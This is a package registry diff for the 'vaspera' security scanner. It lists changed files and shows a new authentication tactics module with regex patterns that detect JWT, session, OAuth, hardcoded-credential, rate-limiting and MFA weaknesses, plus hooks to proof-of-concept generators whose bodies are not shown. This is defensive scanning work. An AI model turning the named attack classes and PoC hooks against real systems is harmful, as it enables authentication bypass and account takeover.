vaspera 2.8.0 → 2.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (303) hide show
  1. package/CHANGELOG.md +109 -7
  2. package/README.md +111 -7
  3. package/dist/__tests__/agents/adversary/tactics/api.test.d.ts +5 -0
  4. package/dist/__tests__/agents/adversary/tactics/api.test.d.ts.map +1 -0
  5. package/dist/__tests__/agents/adversary/tactics/api.test.js +369 -0
  6. package/dist/__tests__/agents/adversary/tactics/api.test.js.map +1 -0
  7. package/dist/__tests__/agents/adversary/tactics/llm.test.d.ts +5 -0
  8. package/dist/__tests__/agents/adversary/tactics/llm.test.d.ts.map +1 -0
  9. package/dist/__tests__/agents/adversary/tactics/llm.test.js +409 -0
  10. package/dist/__tests__/agents/adversary/tactics/llm.test.js.map +1 -0
  11. package/dist/__tests__/agents/adversary/tactics/registry.test.d.ts +7 -0
  12. package/dist/__tests__/agents/adversary/tactics/registry.test.d.ts.map +1 -0
  13. package/dist/__tests__/agents/adversary/tactics/registry.test.js +74 -0
  14. package/dist/__tests__/agents/adversary/tactics/registry.test.js.map +1 -0
  15. package/dist/__tests__/agents/adversary/tactics/web-app.test.d.ts +7 -0
  16. package/dist/__tests__/agents/adversary/tactics/web-app.test.d.ts.map +1 -0
  17. package/dist/__tests__/agents/adversary/tactics/web-app.test.js +374 -0
  18. package/dist/__tests__/agents/adversary/tactics/web-app.test.js.map +1 -0
  19. package/dist/__tests__/compliance-bundle.test.d.ts +9 -0
  20. package/dist/__tests__/compliance-bundle.test.d.ts.map +1 -0
  21. package/dist/__tests__/compliance-bundle.test.js +344 -0
  22. package/dist/__tests__/compliance-bundle.test.js.map +1 -0
  23. package/dist/__tests__/healthcare-compliance.test.d.ts +9 -0
  24. package/dist/__tests__/healthcare-compliance.test.d.ts.map +1 -0
  25. package/dist/__tests__/healthcare-compliance.test.js +233 -0
  26. package/dist/__tests__/healthcare-compliance.test.js.map +1 -0
  27. package/dist/action/diff-mode.d.ts +124 -8
  28. package/dist/action/diff-mode.d.ts.map +1 -1
  29. package/dist/action/diff-mode.js +384 -65
  30. package/dist/action/diff-mode.js.map +1 -1
  31. package/dist/action/diff-mode.test.js +3 -3
  32. package/dist/action/diff-mode.test.js.map +1 -1
  33. package/dist/action/pr-comment.test.js +1 -0
  34. package/dist/action/pr-comment.test.js.map +1 -1
  35. package/dist/action/sarif-upload.test.js +1 -0
  36. package/dist/action/sarif-upload.test.js.map +1 -1
  37. package/dist/agents/adversary/config.d.ts +25 -4
  38. package/dist/agents/adversary/config.d.ts.map +1 -1
  39. package/dist/agents/adversary/config.js +38 -8
  40. package/dist/agents/adversary/config.js.map +1 -1
  41. package/dist/agents/adversary/index.d.ts +7 -0
  42. package/dist/agents/adversary/index.d.ts.map +1 -1
  43. package/dist/agents/adversary/index.js +83 -1
  44. package/dist/agents/adversary/index.js.map +1 -1
  45. package/dist/agents/adversary/reporting/compliance-mapper.d.ts +108 -0
  46. package/dist/agents/adversary/reporting/compliance-mapper.d.ts.map +1 -0
  47. package/dist/agents/adversary/reporting/compliance-mapper.js +391 -0
  48. package/dist/agents/adversary/reporting/compliance-mapper.js.map +1 -0
  49. package/dist/agents/adversary/reporting/index.d.ts +10 -0
  50. package/dist/agents/adversary/reporting/index.d.ts.map +1 -0
  51. package/dist/agents/adversary/reporting/index.js +10 -0
  52. package/dist/agents/adversary/reporting/index.js.map +1 -0
  53. package/dist/agents/adversary/reporting/poc-generator.d.ts +44 -0
  54. package/dist/agents/adversary/reporting/poc-generator.d.ts.map +1 -0
  55. package/dist/agents/adversary/reporting/poc-generator.js +308 -0
  56. package/dist/agents/adversary/reporting/poc-generator.js.map +1 -0
  57. package/dist/agents/adversary/tactics/api.d.ts +13 -0
  58. package/dist/agents/adversary/tactics/api.d.ts.map +1 -0
  59. package/dist/agents/adversary/tactics/api.js +815 -0
  60. package/dist/agents/adversary/tactics/api.js.map +1 -0
  61. package/dist/agents/adversary/tactics/auth.d.ts +13 -0
  62. package/dist/agents/adversary/tactics/auth.d.ts.map +1 -0
  63. package/dist/agents/adversary/tactics/auth.js +676 -0
  64. package/dist/agents/adversary/tactics/auth.js.map +1 -0
  65. package/dist/agents/adversary/tactics/index.d.ts +129 -0
  66. package/dist/agents/adversary/tactics/index.d.ts.map +1 -0
  67. package/dist/agents/adversary/tactics/index.js +199 -0
  68. package/dist/agents/adversary/tactics/index.js.map +1 -0
  69. package/dist/agents/adversary/tactics/infra.d.ts +13 -0
  70. package/dist/agents/adversary/tactics/infra.d.ts.map +1 -0
  71. package/dist/agents/adversary/tactics/infra.js +827 -0
  72. package/dist/agents/adversary/tactics/infra.js.map +1 -0
  73. package/dist/agents/adversary/tactics/injection.d.ts +12 -0
  74. package/dist/agents/adversary/tactics/injection.d.ts.map +1 -0
  75. package/dist/agents/adversary/tactics/injection.js +549 -0
  76. package/dist/agents/adversary/tactics/injection.js.map +1 -0
  77. package/dist/agents/adversary/tactics/llm.d.ts +13 -0
  78. package/dist/agents/adversary/tactics/llm.d.ts.map +1 -0
  79. package/dist/agents/adversary/tactics/llm.js +767 -0
  80. package/dist/agents/adversary/tactics/llm.js.map +1 -0
  81. package/dist/agents/adversary/tactics/web-app.d.ts +13 -0
  82. package/dist/agents/adversary/tactics/web-app.d.ts.map +1 -0
  83. package/dist/agents/adversary/tactics/web-app.js +717 -0
  84. package/dist/agents/adversary/tactics/web-app.js.map +1 -0
  85. package/dist/agents/adversary/types.d.ts +66 -10
  86. package/dist/agents/adversary/types.d.ts.map +1 -1
  87. package/dist/agents/zero-day-hunter.d.ts +1 -1
  88. package/dist/agents/zero-day-hunter.d.ts.map +1 -1
  89. package/dist/analysis/data-flow.d.ts +154 -0
  90. package/dist/analysis/data-flow.d.ts.map +1 -0
  91. package/dist/analysis/data-flow.js +393 -0
  92. package/dist/analysis/data-flow.js.map +1 -0
  93. package/dist/analysis/index.d.ts +9 -0
  94. package/dist/analysis/index.d.ts.map +1 -0
  95. package/dist/analysis/index.js +9 -0
  96. package/dist/analysis/index.js.map +1 -0
  97. package/dist/badge-service/index.d.ts +144 -0
  98. package/dist/badge-service/index.d.ts.map +1 -0
  99. package/dist/badge-service/index.js +206 -0
  100. package/dist/badge-service/index.js.map +1 -0
  101. package/dist/certification/types.d.ts +1 -1
  102. package/dist/certification/types.d.ts.map +1 -1
  103. package/dist/certification/types.js.map +1 -1
  104. package/dist/commands/certification/certify.d.ts.map +1 -1
  105. package/dist/commands/certification/certify.js +18 -4
  106. package/dist/commands/certification/certify.js.map +1 -1
  107. package/dist/compliance/attestation.d.ts +39 -0
  108. package/dist/compliance/attestation.d.ts.map +1 -0
  109. package/dist/compliance/attestation.js +364 -0
  110. package/dist/compliance/attestation.js.map +1 -0
  111. package/dist/compliance/cfr42-part2.d.ts +42 -0
  112. package/dist/compliance/cfr42-part2.d.ts.map +1 -0
  113. package/dist/compliance/cfr42-part2.js +408 -0
  114. package/dist/compliance/cfr42-part2.js.map +1 -0
  115. package/dist/compliance/compliance-bundle.d.ts +100 -0
  116. package/dist/compliance/compliance-bundle.d.ts.map +1 -0
  117. package/dist/compliance/compliance-bundle.js +210 -0
  118. package/dist/compliance/compliance-bundle.js.map +1 -0
  119. package/dist/compliance/healthcare-bundle.d.ts +68 -0
  120. package/dist/compliance/healthcare-bundle.d.ts.map +1 -0
  121. package/dist/compliance/healthcare-bundle.js +104 -0
  122. package/dist/compliance/healthcare-bundle.js.map +1 -0
  123. package/dist/compliance/hipaa.d.ts.map +1 -1
  124. package/dist/compliance/hipaa.js +14 -11
  125. package/dist/compliance/hipaa.js.map +1 -1
  126. package/dist/compliance/index.d.ts +10 -2
  127. package/dist/compliance/index.d.ts.map +1 -1
  128. package/dist/compliance/index.js +9 -3
  129. package/dist/compliance/index.js.map +1 -1
  130. package/dist/compliance/mapper.d.ts.map +1 -1
  131. package/dist/compliance/mapper.js +3 -17
  132. package/dist/compliance/mapper.js.map +1 -1
  133. package/dist/compliance/nist-800-53.d.ts +22 -6
  134. package/dist/compliance/nist-800-53.d.ts.map +1 -1
  135. package/dist/compliance/nist-800-53.js +264 -272
  136. package/dist/compliance/nist-800-53.js.map +1 -1
  137. package/dist/compliance/report.d.ts +31 -2
  138. package/dist/compliance/report.d.ts.map +1 -1
  139. package/dist/compliance/report.js +255 -4
  140. package/dist/compliance/report.js.map +1 -1
  141. package/dist/compliance/types.d.ts +1 -1
  142. package/dist/compliance/types.d.ts.map +1 -1
  143. package/dist/config/flags.d.ts +12 -12
  144. package/dist/cost/index.d.ts +1 -1
  145. package/dist/cost/index.d.ts.map +1 -1
  146. package/dist/cost/index.js +1 -1
  147. package/dist/cost/index.js.map +1 -1
  148. package/dist/cost/tracker.d.ts +64 -0
  149. package/dist/cost/tracker.d.ts.map +1 -1
  150. package/dist/cost/tracker.js +165 -0
  151. package/dist/cost/tracker.js.map +1 -1
  152. package/dist/eval/fixtures/healthcare/audit-gaps.d.ts +28 -0
  153. package/dist/eval/fixtures/healthcare/audit-gaps.d.ts.map +1 -0
  154. package/dist/eval/fixtures/healthcare/audit-gaps.js +90 -0
  155. package/dist/eval/fixtures/healthcare/audit-gaps.js.map +1 -0
  156. package/dist/eval/fixtures/healthcare/consent-bypass.d.ts +31 -0
  157. package/dist/eval/fixtures/healthcare/consent-bypass.d.ts.map +1 -0
  158. package/dist/eval/fixtures/healthcare/consent-bypass.js +61 -0
  159. package/dist/eval/fixtures/healthcare/consent-bypass.js.map +1 -0
  160. package/dist/eval/fixtures/healthcare/phi-in-logs.d.ts +24 -0
  161. package/dist/eval/fixtures/healthcare/phi-in-logs.d.ts.map +1 -0
  162. package/dist/eval/fixtures/healthcare/phi-in-logs.js +41 -0
  163. package/dist/eval/fixtures/healthcare/phi-in-logs.js.map +1 -0
  164. package/dist/evidence/collector.d.ts +21 -0
  165. package/dist/evidence/collector.d.ts.map +1 -0
  166. package/dist/evidence/collector.js +340 -0
  167. package/dist/evidence/collector.js.map +1 -0
  168. package/dist/evidence/index.d.ts +11 -0
  169. package/dist/evidence/index.d.ts.map +1 -0
  170. package/dist/evidence/index.js +12 -0
  171. package/dist/evidence/index.js.map +1 -0
  172. package/dist/evidence/store.d.ts +39 -0
  173. package/dist/evidence/store.d.ts.map +1 -0
  174. package/dist/evidence/store.js +173 -0
  175. package/dist/evidence/store.js.map +1 -0
  176. package/dist/evidence/types.d.ts +175 -0
  177. package/dist/evidence/types.d.ts.map +1 -0
  178. package/dist/evidence/types.js +9 -0
  179. package/dist/evidence/types.js.map +1 -0
  180. package/dist/exporters/checkmarx.d.ts +18 -0
  181. package/dist/exporters/checkmarx.d.ts.map +1 -0
  182. package/dist/exporters/checkmarx.js +203 -0
  183. package/dist/exporters/checkmarx.js.map +1 -0
  184. package/dist/exporters/index.d.ts +22 -0
  185. package/dist/exporters/index.d.ts.map +1 -0
  186. package/dist/exporters/index.js +41 -0
  187. package/dist/exporters/index.js.map +1 -0
  188. package/dist/exporters/snyk.d.ts +18 -0
  189. package/dist/exporters/snyk.d.ts.map +1 -0
  190. package/dist/exporters/snyk.js +119 -0
  191. package/dist/exporters/snyk.js.map +1 -0
  192. package/dist/exporters/sonarqube.d.ts +18 -0
  193. package/dist/exporters/sonarqube.d.ts.map +1 -0
  194. package/dist/exporters/sonarqube.js +125 -0
  195. package/dist/exporters/sonarqube.js.map +1 -0
  196. package/dist/exporters/types.d.ts +190 -0
  197. package/dist/exporters/types.d.ts.map +1 -0
  198. package/dist/exporters/types.js +9 -0
  199. package/dist/exporters/types.js.map +1 -0
  200. package/dist/frontier/index.d.ts +12 -0
  201. package/dist/frontier/index.d.ts.map +1 -0
  202. package/dist/frontier/index.js +12 -0
  203. package/dist/frontier/index.js.map +1 -0
  204. package/dist/frontier/orchestrator.d.ts +73 -0
  205. package/dist/frontier/orchestrator.d.ts.map +1 -0
  206. package/dist/frontier/orchestrator.js +312 -0
  207. package/dist/frontier/orchestrator.js.map +1 -0
  208. package/dist/frontier/providers/stub.d.ts +32 -0
  209. package/dist/frontier/providers/stub.d.ts.map +1 -0
  210. package/dist/frontier/providers/stub.js +66 -0
  211. package/dist/frontier/providers/stub.js.map +1 -0
  212. package/dist/frontier/types.d.ts +318 -0
  213. package/dist/frontier/types.d.ts.map +1 -0
  214. package/dist/frontier/types.js +27 -0
  215. package/dist/frontier/types.js.map +1 -0
  216. package/dist/history/index.d.ts +13 -0
  217. package/dist/history/index.d.ts.map +1 -0
  218. package/dist/history/index.js +15 -0
  219. package/dist/history/index.js.map +1 -0
  220. package/dist/history/store.d.ts +74 -0
  221. package/dist/history/store.d.ts.map +1 -0
  222. package/dist/history/store.js +399 -0
  223. package/dist/history/store.js.map +1 -0
  224. package/dist/history/types.d.ts +282 -0
  225. package/dist/history/types.d.ts.map +1 -0
  226. package/dist/history/types.js +41 -0
  227. package/dist/history/types.js.map +1 -0
  228. package/dist/history/verify.d.ts +44 -0
  229. package/dist/history/verify.d.ts.map +1 -0
  230. package/dist/history/verify.js +230 -0
  231. package/dist/history/verify.js.map +1 -0
  232. package/dist/index.d.ts.map +1 -1
  233. package/dist/index.js +515 -19
  234. package/dist/index.js.map +1 -1
  235. package/dist/multimodel/index.d.ts +1 -0
  236. package/dist/multimodel/index.d.ts.map +1 -1
  237. package/dist/multimodel/index.js +2 -0
  238. package/dist/multimodel/index.js.map +1 -1
  239. package/dist/multimodel/leaderboard.d.ts +116 -0
  240. package/dist/multimodel/leaderboard.d.ts.map +1 -0
  241. package/dist/multimodel/leaderboard.js +262 -0
  242. package/dist/multimodel/leaderboard.js.map +1 -0
  243. package/dist/observability/otel.d.ts.map +1 -1
  244. package/dist/observability/otel.js +1 -3
  245. package/dist/observability/otel.js.map +1 -1
  246. package/dist/plugins/loader.js +1 -1
  247. package/dist/plugins/loader.js.map +1 -1
  248. package/dist/scanners/agent/agent-chain-analysis.d.ts +152 -0
  249. package/dist/scanners/agent/agent-chain-analysis.d.ts.map +1 -0
  250. package/dist/scanners/agent/agent-chain-analysis.js +438 -0
  251. package/dist/scanners/agent/agent-chain-analysis.js.map +1 -0
  252. package/dist/scanners/agent/payloads/index.d.ts +2 -1
  253. package/dist/scanners/agent/payloads/index.d.ts.map +1 -1
  254. package/dist/scanners/agent/payloads/index.js +25 -6
  255. package/dist/scanners/agent/payloads/index.js.map +1 -1
  256. package/dist/scanners/agent/prompt-injection-fuzzer.d.ts.map +1 -1
  257. package/dist/scanners/agent/prompt-injection-fuzzer.js +14 -0
  258. package/dist/scanners/agent/prompt-injection-fuzzer.js.map +1 -1
  259. package/dist/scanners/agent/types.d.ts +5 -5
  260. package/dist/scanners/agent/types.d.ts.map +1 -1
  261. package/dist/scanners/agent/types.js.map +1 -1
  262. package/dist/scanners/cache.d.ts +156 -0
  263. package/dist/scanners/cache.d.ts.map +1 -0
  264. package/dist/scanners/cache.js +462 -0
  265. package/dist/scanners/cache.js.map +1 -0
  266. package/dist/scanners/dependencies.js +4 -4
  267. package/dist/scanners/dependencies.js.map +1 -1
  268. package/dist/scanners/gosec.d.ts.map +1 -1
  269. package/dist/scanners/gosec.js +47 -9
  270. package/dist/scanners/gosec.js.map +1 -1
  271. package/dist/scanners/healthcare.d.ts +29 -0
  272. package/dist/scanners/healthcare.d.ts.map +1 -0
  273. package/dist/scanners/healthcare.js +526 -0
  274. package/dist/scanners/healthcare.js.map +1 -0
  275. package/dist/scanners/index.d.ts +1 -0
  276. package/dist/scanners/index.d.ts.map +1 -1
  277. package/dist/scanners/index.js +33 -0
  278. package/dist/scanners/index.js.map +1 -1
  279. package/dist/scanners/index.test.js +6 -6
  280. package/dist/scanners/index.test.js.map +1 -1
  281. package/dist/scanners/secrets.js +4 -4
  282. package/dist/scanners/secrets.js.map +1 -1
  283. package/dist/scanners/semgrep.js +5 -5
  284. package/dist/scanners/semgrep.js.map +1 -1
  285. package/dist/scanners/types.d.ts +1 -1
  286. package/dist/scanners/types.d.ts.map +1 -1
  287. package/dist/scanners/types.js +1 -0
  288. package/dist/scanners/types.js.map +1 -1
  289. package/dist/scanners/typescript.test.js +1 -1
  290. package/dist/scanners/typescript.test.js.map +1 -1
  291. package/dist/telemetry/index.d.ts +10 -0
  292. package/dist/telemetry/index.d.ts.map +1 -0
  293. package/dist/telemetry/index.js +10 -0
  294. package/dist/telemetry/index.js.map +1 -0
  295. package/dist/telemetry/registry.d.ts +178 -0
  296. package/dist/telemetry/registry.d.ts.map +1 -0
  297. package/dist/telemetry/registry.js +297 -0
  298. package/dist/telemetry/registry.js.map +1 -0
  299. package/dist/telemetry/usage.d.ts +197 -0
  300. package/dist/telemetry/usage.d.ts.map +1 -0
  301. package/dist/telemetry/usage.js +252 -0
  302. package/dist/telemetry/usage.js.map +1 -0
  303. package/package.json +2 -6
@@ -0,0 +1,676 @@
1
+ /**
2
+ * Authentication Tactics Module
3
+ *
4
+ * Detects authentication and session management vulnerabilities including
5
+ * JWT weaknesses, session fixation, OAuth bypass, and hardcoded credentials.
6
+ * Priority 2 - core security control.
7
+ *
8
+ * @module agents/adversary/tactics/auth
9
+ */
10
+ import { registerTactic, generateFindingId, } from "./index.js";
11
+ // ============================================================================
12
+ // Patterns
13
+ // ============================================================================
14
+ const JWT_PATTERNS = [
15
+ {
16
+ id: "jwt-none-algorithm",
17
+ name: "JWT None Algorithm Accepted",
18
+ description: "JWT verification may accept 'none' algorithm",
19
+ cwe: "CWE-327",
20
+ severity: "critical",
21
+ regex: /jwt\.verify\s*\([^)]*,\s*(?:null|undefined|['"][\s]*['"])\s*\)|algorithms\s*:\s*\[[^\]]*['"]none['"]/gi,
22
+ },
23
+ {
24
+ id: "jwt-weak-secret",
25
+ name: "JWT Weak or Hardcoded Secret",
26
+ description: "JWT signed with weak or hardcoded secret",
27
+ cwe: "CWE-798",
28
+ severity: "high",
29
+ regex: /jwt\.sign\s*\([^)]*,\s*['"](secret|password|key|123|test|dev)['"]/gi,
30
+ },
31
+ {
32
+ id: "jwt-hs256-public-key",
33
+ name: "JWT Algorithm Confusion",
34
+ description: "JWT may be vulnerable to RS256 to HS256 algorithm confusion",
35
+ cwe: "CWE-327",
36
+ severity: "high",
37
+ regex: /algorithms\s*:\s*\[\s*['"](?:RS|HS)256['"]\s*\]|algorithm\s*:\s*['"](?:RS|HS)256['"]/gi,
38
+ },
39
+ {
40
+ id: "jwt-no-expiry",
41
+ name: "JWT Without Expiration",
42
+ description: "JWT created without expiration claim",
43
+ cwe: "CWE-613",
44
+ severity: "medium",
45
+ regex: /jwt\.sign\s*\([^)]*\)(?![^;]*expiresIn)/gi,
46
+ },
47
+ {
48
+ id: "jwt-decode-no-verify",
49
+ name: "JWT Decoded Without Verification",
50
+ description: "JWT decoded without signature verification",
51
+ cwe: "CWE-345",
52
+ severity: "high",
53
+ regex: /jwt\.decode\s*\([^)]*\)(?![^;]*verify)/gi,
54
+ },
55
+ ];
56
+ const SESSION_PATTERNS = [
57
+ {
58
+ id: "session-no-regenerate",
59
+ name: "Session Not Regenerated on Login",
60
+ description: "Session ID not regenerated after authentication",
61
+ cwe: "CWE-384",
62
+ severity: "high",
63
+ regex: /(?:login|authenticate|signIn)\s*(?:=|:)\s*async[^{]*\{(?![^}]*regenerate|[^}]*destroy)/gis,
64
+ },
65
+ {
66
+ id: "session-insecure-cookie",
67
+ name: "Insecure Session Cookie",
68
+ description: "Session cookie missing secure attributes",
69
+ cwe: "CWE-614",
70
+ severity: "medium",
71
+ regex: /cookie\s*:\s*\{[^}]*(?!secure\s*:\s*true)[^}]*\}|httpOnly\s*:\s*false/gi,
72
+ },
73
+ {
74
+ id: "session-predictable",
75
+ name: "Predictable Session ID",
76
+ description: "Session ID generated with weak randomness",
77
+ cwe: "CWE-330",
78
+ severity: "high",
79
+ regex: /session(?:Id|Token)\s*=\s*(?:Date\.now\(\)|Math\.random\(\)|uuid\.v1\(\))/gi,
80
+ },
81
+ {
82
+ id: "session-in-url",
83
+ name: "Session Token in URL",
84
+ description: "Session token passed in URL parameters",
85
+ cwe: "CWE-598",
86
+ severity: "medium",
87
+ regex: /\?.*(?:session|token|sid)=|redirect\s*\([^)]*(?:session|token)/gi,
88
+ },
89
+ ];
90
+ const OAUTH_PATTERNS = [
91
+ {
92
+ id: "oauth-open-redirect",
93
+ name: "OAuth Open Redirect",
94
+ description: "OAuth redirect URI not properly validated",
95
+ cwe: "CWE-601",
96
+ severity: "high",
97
+ regex: /redirect_uri\s*[:=]\s*(?:req\.|params\.|query\.)|redirect_uri.*(?:!==|!=)\s*(?:undefined|null)/gi,
98
+ },
99
+ {
100
+ id: "oauth-no-state",
101
+ name: "OAuth Missing State Parameter",
102
+ description: "OAuth flow missing CSRF protection via state parameter",
103
+ cwe: "CWE-352",
104
+ severity: "high",
105
+ regex: /(?:authorize|oauth)\s*\([^)]*\)(?![^;]*state)|state\s*:\s*(?:null|undefined|['"][\s]*['"])/gi,
106
+ },
107
+ {
108
+ id: "oauth-token-leak",
109
+ name: "OAuth Token Leakage",
110
+ description: "OAuth tokens logged or exposed in error messages",
111
+ cwe: "CWE-532",
112
+ severity: "high",
113
+ regex: /console\.(?:log|error|warn)\s*\([^)]*(?:access_token|refresh_token|id_token)/gi,
114
+ },
115
+ {
116
+ id: "oauth-implicit-flow",
117
+ name: "OAuth Implicit Flow",
118
+ description: "Using deprecated OAuth implicit flow",
119
+ cwe: "CWE-319",
120
+ severity: "medium",
121
+ regex: /response_type\s*[:=]\s*['"]token['"]/gi,
122
+ },
123
+ ];
124
+ const CREDENTIAL_PATTERNS = [
125
+ {
126
+ id: "hardcoded-password",
127
+ name: "Hardcoded Password",
128
+ description: "Password hardcoded in source code",
129
+ cwe: "CWE-798",
130
+ severity: "critical",
131
+ regex: /(?:password|passwd|pwd)\s*[:=]\s*['"][^'"]{4,}['"]/gi,
132
+ },
133
+ {
134
+ id: "hardcoded-api-key",
135
+ name: "Hardcoded API Key",
136
+ description: "API key hardcoded in source code",
137
+ cwe: "CWE-798",
138
+ severity: "critical",
139
+ regex: /(?:api[_-]?key|apikey|api[_-]?secret)\s*[:=]\s*['"][a-zA-Z0-9_\-]{16,}['"]/gi,
140
+ },
141
+ {
142
+ id: "hardcoded-db-creds",
143
+ name: "Hardcoded Database Credentials",
144
+ description: "Database credentials hardcoded in source code",
145
+ cwe: "CWE-798",
146
+ severity: "critical",
147
+ regex: /(?:mysql|postgres|mongodb|redis):\/\/[^:]+:[^@]+@/gi,
148
+ },
149
+ {
150
+ id: "default-credentials",
151
+ name: "Default Credentials",
152
+ description: "Default username/password combination",
153
+ cwe: "CWE-1392",
154
+ severity: "high",
155
+ regex: /(?:admin|root|test|demo)['"]?\s*[:=]\s*['"](?:admin|root|password|123456|test)['"]/gi,
156
+ },
157
+ ];
158
+ const RATE_LIMITING_PATTERNS = [
159
+ {
160
+ id: "login-no-rate-limit",
161
+ name: "Login Without Rate Limiting",
162
+ description: "Authentication endpoint without rate limiting",
163
+ cwe: "CWE-307",
164
+ severity: "medium",
165
+ regex: /(?:login|signin|authenticate)\s*[:=]\s*(?:async\s*)?\([^)]*\)\s*(?:=>|{)(?![^}]*(?:rateLimit|throttle|limiter))/gis,
166
+ },
167
+ {
168
+ id: "password-reset-no-limit",
169
+ name: "Password Reset Without Rate Limiting",
170
+ description: "Password reset endpoint vulnerable to enumeration",
171
+ cwe: "CWE-640",
172
+ severity: "medium",
173
+ regex: /(?:forgot|reset|recover)(?:Password|Pass)\s*[:=](?![^}]*(?:rateLimit|throttle))/gi,
174
+ },
175
+ ];
176
+ const MFA_PATTERNS = [
177
+ {
178
+ id: "mfa-bypass",
179
+ name: "MFA Bypass Possibility",
180
+ description: "MFA check may be bypassed through alternative flow",
181
+ cwe: "CWE-287",
182
+ severity: "high",
183
+ regex: /(?:skip|bypass|disable)(?:Mfa|2fa|TwoFactor)|mfa(?:Required|Enabled)\s*[:=]\s*false/gi,
184
+ },
185
+ {
186
+ id: "mfa-backup-enumerable",
187
+ name: "MFA Backup Codes Enumerable",
188
+ description: "MFA backup codes may be enumerable or predictable",
189
+ cwe: "CWE-330",
190
+ severity: "medium",
191
+ regex: /backupCode\s*=\s*(?:Math\.random|Date\.now|uuid\.v1)/gi,
192
+ },
193
+ ];
194
+ // ============================================================================
195
+ // Tactic Implementation
196
+ // ============================================================================
197
+ const authTactic = {
198
+ focusArea: "auth",
199
+ name: "Authentication",
200
+ description: "Detects authentication, session, and credential vulnerabilities",
201
+ patterns: [
202
+ ...JWT_PATTERNS,
203
+ ...SESSION_PATTERNS,
204
+ ...OAUTH_PATTERNS,
205
+ ...CREDENTIAL_PATTERNS,
206
+ ...RATE_LIMITING_PATTERNS,
207
+ ...MFA_PATTERNS,
208
+ ],
209
+ async analyzeFile(file, config) {
210
+ const findings = [];
211
+ for (const pattern of this.patterns) {
212
+ if (!pattern.regex)
213
+ continue;
214
+ // Reset regex state
215
+ pattern.regex.lastIndex = 0;
216
+ let match;
217
+ while ((match = pattern.regex.exec(file.content)) !== null) {
218
+ // Calculate line number
219
+ const beforeMatch = file.content.substring(0, match.index);
220
+ const lineNum = (beforeMatch.match(/\n/g) || []).length + 1;
221
+ // Skip if in comment
222
+ const line = file.lines[lineNum - 1] || "";
223
+ if (isInComment(line)) {
224
+ continue;
225
+ }
226
+ // Skip known false positives
227
+ if (isFalsePositive(match[0], pattern.id, file)) {
228
+ continue;
229
+ }
230
+ const finding = {
231
+ id: generateFindingId("auth", file.relativePath, lineNum, pattern.id),
232
+ tacticName: "auth",
233
+ focusArea: "auth",
234
+ patternId: pattern.id,
235
+ file: file.relativePath,
236
+ line: lineNum,
237
+ message: `${pattern.name}: ${pattern.description}`,
238
+ severity: pattern.severity,
239
+ confidence: calculateConfidence(match[0], pattern, file),
240
+ evidence: redactSensitive(match[0].substring(0, 200)),
241
+ cweIds: [pattern.cwe],
242
+ mitreIds: getMitreIds(pattern.id),
243
+ suggestedFix: getSuggestedFix(pattern.id),
244
+ };
245
+ findings.push(finding);
246
+ }
247
+ }
248
+ return findings;
249
+ },
250
+ async generatePoC(finding) {
251
+ const pocMap = {
252
+ "jwt-none-algorithm": () => jwtNoneAlgorithmPoC(finding),
253
+ "jwt-weak-secret": () => jwtWeakSecretPoC(finding),
254
+ "jwt-hs256-public-key": () => jwtAlgorithmConfusionPoC(finding),
255
+ "session-no-regenerate": () => sessionFixationPoC(finding),
256
+ "oauth-open-redirect": () => oauthRedirectPoC(finding),
257
+ "oauth-no-state": () => oauthCsrfPoC(finding),
258
+ "hardcoded-password": () => hardcodedCredsPoC(finding),
259
+ "login-no-rate-limit": () => bruteForcePoC(finding),
260
+ };
261
+ const generator = pocMap[finding.patternId];
262
+ return generator ? generator() : null;
263
+ },
264
+ getPromptEnhancement() {
265
+ return `When analyzing for authentication vulnerabilities, focus on:
266
+
267
+ 1. **JWT Security**:
268
+ - Verify algorithm is explicitly specified and not 'none'
269
+ - Check if secret is hardcoded or weak
270
+ - Look for algorithm confusion (RS256 → HS256 attacks)
271
+ - Verify expiration is set and validated
272
+
273
+ 2. **Session Management**:
274
+ - Session ID regeneration after authentication
275
+ - Secure cookie attributes (HttpOnly, Secure, SameSite)
276
+ - Session timeout and invalidation
277
+ - Protection against session fixation
278
+
279
+ 3. **OAuth/OIDC Flows**:
280
+ - State parameter for CSRF protection
281
+ - Redirect URI validation (strict matching, no open redirects)
282
+ - Token storage and handling
283
+ - Avoiding implicit flow
284
+
285
+ 4. **Credential Handling**:
286
+ - No hardcoded credentials in source
287
+ - Secure password storage (bcrypt, argon2)
288
+ - Rate limiting on authentication endpoints
289
+ - Account lockout mechanisms
290
+
291
+ 5. **MFA Implementation**:
292
+ - MFA cannot be bypassed through alternative flows
293
+ - Backup codes are cryptographically random
294
+ - Rate limiting on MFA attempts
295
+
296
+ For each finding, determine:
297
+ - Can an attacker bypass authentication entirely?
298
+ - Can session hijacking be achieved?
299
+ - Are there credential exposure risks?`;
300
+ },
301
+ getRelevantFilePatterns() {
302
+ return [
303
+ "**/auth/**",
304
+ "**/authentication/**",
305
+ "**/login/**",
306
+ "**/session/**",
307
+ "**/jwt/**",
308
+ "**/oauth/**",
309
+ "**/middleware/**",
310
+ "**/config/**",
311
+ "**/*auth*",
312
+ "**/*session*",
313
+ "**/*jwt*",
314
+ ];
315
+ },
316
+ };
317
+ // ============================================================================
318
+ // Helper Functions
319
+ // ============================================================================
320
+ function isInComment(line) {
321
+ const trimmed = line.trim();
322
+ return trimmed.startsWith("//") || trimmed.startsWith("*") || trimmed.startsWith("#");
323
+ }
324
+ function isFalsePositive(match, patternId, file) {
325
+ // Skip test files for credential patterns
326
+ if (patternId.startsWith("hardcoded-") || patternId === "default-credentials") {
327
+ if (file.relativePath.includes("test") ||
328
+ file.relativePath.includes("spec") ||
329
+ file.relativePath.includes("mock") ||
330
+ file.relativePath.includes("fixture")) {
331
+ return true;
332
+ }
333
+ }
334
+ // Skip example/placeholder values
335
+ const lowerMatch = match.toLowerCase();
336
+ if (lowerMatch.includes("example") ||
337
+ lowerMatch.includes("placeholder") ||
338
+ lowerMatch.includes("your-") ||
339
+ lowerMatch.includes("xxx")) {
340
+ return true;
341
+ }
342
+ // Skip environment variable references
343
+ if (match.includes("process.env") || match.includes("${")) {
344
+ return true;
345
+ }
346
+ return false;
347
+ }
348
+ function calculateConfidence(match, pattern, file) {
349
+ let confidence = 70;
350
+ // Higher confidence for production-looking code
351
+ if (!file.relativePath.includes("test") && !file.relativePath.includes("example")) {
352
+ confidence += 10;
353
+ }
354
+ // Higher confidence for critical patterns
355
+ if (pattern.severity === "critical") {
356
+ confidence += 10;
357
+ }
358
+ // Lower confidence for config files (might be overridden)
359
